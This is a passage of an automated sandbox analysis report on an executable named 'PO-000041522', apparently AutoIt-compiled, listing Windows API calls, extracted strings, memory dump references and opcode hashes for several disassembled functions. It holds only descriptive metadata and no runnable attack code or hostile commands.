                                                                                                • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _strncmp
                                                                                                • String ID: ,$UTF8)
                                                                                                • API String ID: 909875538-2632631837
                                                                                                • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • wsprintfW.USER32 ref: 004560E9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend_mallocwsprintf
                                                                                                • String ID: %d/%02d/%02d
                                                                                                • API String ID: 1262938277-328681919
                                                                                                • Opcode ID: 411b72ec73f8abaf5c9efec05356ecc40123998799e12abe29a9eff98d01c147
                                                                                                • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                                • Opcode Fuzzy Hash: 411b72ec73f8abaf5c9efec05356ecc40123998799e12abe29a9eff98d01c147
                                                                                                • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                                                APIs
                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                • String ID: Shell_TrayWnd
                                                                                                • API String ID: 529655941-2988720461
                                                                                                • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                APIs
                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                • String ID: Shell_TrayWnd
                                                                                                • API String ID: 529655941-2988720461
                                                                                                • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                                • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                APIs
                                                                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                  • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Message_doexit
                                                                                                • String ID: AutoIt$Error allocating memory.
                                                                                                • API String ID: 1993061046-4017498283
                                                                                                • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E